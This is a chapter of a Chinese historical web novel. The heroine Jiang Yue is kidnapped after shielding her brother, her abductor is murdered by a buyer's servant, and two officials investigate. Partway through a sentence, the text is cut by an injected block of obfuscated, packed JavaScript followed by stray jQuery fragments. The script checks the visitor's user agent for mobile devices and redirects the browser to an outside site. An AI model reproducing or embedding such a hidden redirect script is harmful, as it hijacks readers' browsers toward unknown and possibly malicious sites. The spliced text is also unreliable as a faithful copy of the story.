姜樾不动声色的将刀簪往下挪了挪,错开颈动脉的位置,又因着刀尖的摩擦蹭出一抹血红,鲜血顺着锁骨的位置滑落到衣领处,晕湿了一小片前襟。
暗道,真痛啊。
拿刀的男人没有料到姜樾真的敢下手,手上不自觉的用上力道,姜樾的肩上突然轻松不少。
“好,让他走。”
姜樾看了眼姜成颂,小声对姜成颂吐出三个字:“去报案。”
声带的颤动让带动着脖子的肌肉运动,顶住脖子的刀簪再次在皮肉间搅动,男人看着姜樾的动作没有丝毫放松,脖间的血还不断的往外渗出,生怕姜樾真的出事,恶狠狠的看着姜成颂:“还不快滚,不然爷爷我先杀了你。”
姜樾交代完姜成颂,另一只空下来的手丝丝拧住姜成颂的胳臂,姜成颂吃痛又听闻男子的话,才搞明白状况,立刻转身逃走,一路上光景变换,明明不过几十步的距离,却像是跑了许久许久。
待到姜成颂跑远了,姜樾瞥向城墙的位置,直到确定姜成颂进了城,卸下一口气来,收起手上的刀簪子,顺手插回发髻里,所有的害怕、惊恐、无力涌上心头。
“哈哈哈哈哈,姜娘子到是仗义。”男子将架在姜樾脖子上的刀收入刀鞘中,大步跨到姜樾身旁,却不料姜樾早已腿软的站也站不住,整个人直接跌倒地上,喘着粗气,姜樾撑着发软的身体摸下束着披发的发带,在自己脖间缠绕,试图将流血的伤口缠绕住止血。
忙完这一切,姜樾突然觉得胳膊一紧,只觉得所有的物件在天空中旋转扭曲变成了她不认识的模样,顺着太极八卦的形状高速旋转,紧接着便不省人事了。
男子本想将姜樾敲晕,没想到自个儿给吓晕了。
姜樾再次醒来时,感觉自己的腰腹间的颠簸,脑袋因为朝下充血胀痛不已,努力将自己头往后仰着,勉强让头不再倒着。
麻木、酸痛、颠簸一齐袭来,睁开眼睛一看自己被束缚在麻袋里,星星点点的光亮顺着粗布麻袋的缝隙昭示着这是白日,双手被紧紧缚在身后,马背的颠簸与柔软的腹部不断撞击,她想吐出来。
嘴里泛出一股酸味然后又强行逼自己咽下去。
她不能暴露自己醒了。
不知过了多久,姜樾觉得自己意识迷离,即将失去自己身体掌控权的时候,自己被人当做物件一下扔到地上,死死将要叫出来的声音压到喉咙深处。
胸口忍着涨满的气,额角的青筋暴起,直到身体与地面亲密结束后疼痛散去,便将肺里的那口气长舒出去。
“钱禄,这是货物?”
“那可不,我老钱什么时候框过人?”钱禄拍着自己胸口,发出闷闷的声音。
姜樾闻此便知晓自己如今处境了,在交接过程中。
“那位大人搞不懂要这人干嘛?也没察觉有何特别之处,长的也不是特别美,倒是特别仗义,甚至还为了救弟弟主动送上门来。”钱禄说到。
突然断了声音,姜樾阖眸,装作一副已经昏睡过去的模样。
“人是你迷晕的?”那人问。
“不,是自己吓晕的,刚好省下点迷药钱。”
“那行吧,将人交给我。”那人停顿片刻,对钱禄的抠搜行为极为瞧不上。
一阵窸窸窣窣的声音传来,姜樾隔着眼皮已能感觉到突如其来的光亮。
看来是熬过了一个阶段。
正当姜樾暗自窃喜时,鼻尖传来一摸异香,她立马屏住呼吸,察觉到自己忍不住时再悄悄呼吸一小口换气,避免脸色上异样叫人发现。
过了小会儿,那人拿开姜樾口鼻的帕子,尽管姜樾尽可能减少呼吸进入身体的药,但还是吸入了不少,药效发作姜樾彻底晕了过去。
“还得是梁老板大方,这效用极好的迷药。”钱禄一脸谄媚,大拇指与其他几根手指摩挲着,是讨要工钱的动作。
梁老板瞥了言钱禄色欲熏心的模样,让身后的随从递上了一个钱袋子:“钱壮士完成了我家主子的任务,银钱自是不会少。”
随从轻轻摇晃钱袋子,在钱禄眼前晃过,“叮铃铃”一串金属碰撞的声音叫钱禄直瞪大了双眼,眼中的迸发出的渴望毫不遮掩。
钱袋子落入手上的刹那,耳畔传来九转十八弯的声音,正当钱禄欣喜若狂之际,腹中惊现一柄利刃,随从袖里藏刀,捅入钱禄腹中,又肆意搅动,将钱禄五脏六腑搅烂。
“只有死人才会保守秘密。”
枯草铺散在地上,阳光撒下,无处安放的天光照亮着每一处阴暗。
刺眼。
钱禄吐出最后一口血,见着临死前最后的光亮,转瞬长眠。
“什么,姜樾失踪了?”张明贤瞪大了双眼,脑子飞速运转,又看着眼前一路本来喘着粗气的姜成颂。
“我……姐……她被绑……绑匪绑走了,绑匪胡须茂盛,络腮胡子四处炸开,胳膊能有我大腿粗,还拿着一指厚的长刀,就那样架在我姐脖子上。”姜成颂想起姜樾当时的状况依旧心有余悸。
齐恒之便问:“那你是怎么跑出来的?”
“阿姐察觉到对方要活人,以死相逼让那壮汉放了我。”
张明贤正与齐恒之商议梁溪府下属县衙可还有道路不便的地儿,却听衙外传来击鼓之声,将人带进来赫然是姜樾的弟弟。
察觉到姜成颂情绪欺负,为了安抚他,张明贤拍了拍姜成颂的肩膀。
姜成颂声音颤抖,不知道是面对齐恒之紧张的还是面对绑匪吓得。
总之是不太正常。
张明贤一脸错愕,他在梁溪少说也有两年,没听说梁溪附近有绑匪,属实是奇怪。
齐恒之却把握住重点:“你说什么?绑匪络腮胡子?”
“对,脸上还有很多疤。”姜成颂补充道。
“绑匪一般胡须不会茂密,大宣境内,不兴留髯,须发不散,髭襞浓密顺垂为美。”
齐恒之说明原因:“不是绑匪,是海盗!”
“可是梁溪哪找海?海面得往东千里了。”张明贤不解。
齐恒之本以为是普通的绑架事件,不料也许牵扯到海外,当即放下手中的事物,火急火燎的让姜成颂带路。
张明贤放心不下姜樾,也一路跟随而来,左右与工部报备过了,晚些回去也不碍事。
顺着初次遇到绑匪的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609862|165486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
条路,姜成颂照着原本走过的路线再次走了一遍,但只有他与姜樾穿梭的痕迹。
“看来他们没有走这边,想必是对这山林极为熟悉。”齐恒之一路走来一路观察这附近的动态。
直到在姜成颂停住的地方察觉到几滴血迹,血迹已经干涸,鲜艳不复存在,有些褐色,与泥土混在一起。
好在近日都没有下雨,也距离山林边缘不远,泥土是干燥的,若是湿润的泥土便是极难察觉这细微的痕迹。
“阿姐就是在这里失踪的。”那个壮汉就站在张大人如今的位置前面一点。
张明贤蹲下,隐约能看到两个极大的脚印,张明贤从自己站着的位置往一旁斜跨一小步,而方才他站的位置却没有任何痕迹:“此人身量极重!齐大人且看,方才我所站之处,并无任何痕迹,但此处却有一道浅浅的印子。”
“报!大人,前方有树木拦腰砍断,不似利刃,极像蛮力劈开的。”
齐恒之顺着衙役指的方向走去,果不其然能看到脚印与方才那处更为深些,许是负载了姜樾的重量,两旁是草木凡碍事的皆被拦腰劈断,直到出了林子,便找不到踪迹了。
无法,只得先打道回府,齐恒之让府衙的人做了姜樾的画像,贴入告示中,只要人还在梁溪,有人遇见了便再行告知姜成颂。
齐恒之回到府衙正欲准备与张明贤继续商议修路一事,却不料屁股还未挨着凳子便又来人通传了。
“出人命了,齐大人快去看看!”
“怎么回事?”齐恒之只觉得脑瓜子嗡嗡的,今儿个怎的如此不太平,才走丢了个人,又死了人。
“巡捕巡街时闻到血腥味,顺着气味去发现东街街尾的院子里,有具凉透的尸体,这会儿叫人拦住了不让进。”
齐恒之揉了揉太阳穴:“叫人安排车马,本官现在就去,张大人若是不介意我们马车上详谈,眼下实在是抽不开身了。”
张明贤随即答应下来。
梁溪主街的路并不颠簸,议事也不算吃力,张明贤与齐恒之商议过后发现梁溪府下属的县衙官道几户都是畅通的,只不过有两三条道路与东望差不多,较为狭窄,只需要扩展开来便于运输即可。
到底是天子脚下,交通大体上是没有多少问题的,而其他三府则多了不少问题,张明贤不可能跑到其他三府挨个的考察,只得一梁溪为模板,先将各个道路的情况摸通了再说。
很快便到了案发的院子,齐恒之穿过重重守卫,一眼便看到躺在院子内的人,不由得感叹好残忍的杀害方式,腹部几乎被搅烂了,白花花的肠子顺着伤口往外溢出。
张明贤正准备离去却听到齐恒之干呕的声音,便推开重重守卫挤了进去。
“齐大人,我来帮你。”
齐恒之纵使见过不少凶杀,但到底不是刑部,没有宋寒声那般见多识广,胃中翻涌不断。
齐恒之看见张明贤进来,让出位置让张明贤观察。
张明贤正想触碰尸体却被齐恒之喝住:“别动!看这胡子。”
张明贤惊觉,这胡子与姜成颂所言极为相似。
“来人,去将姜成颂找来!”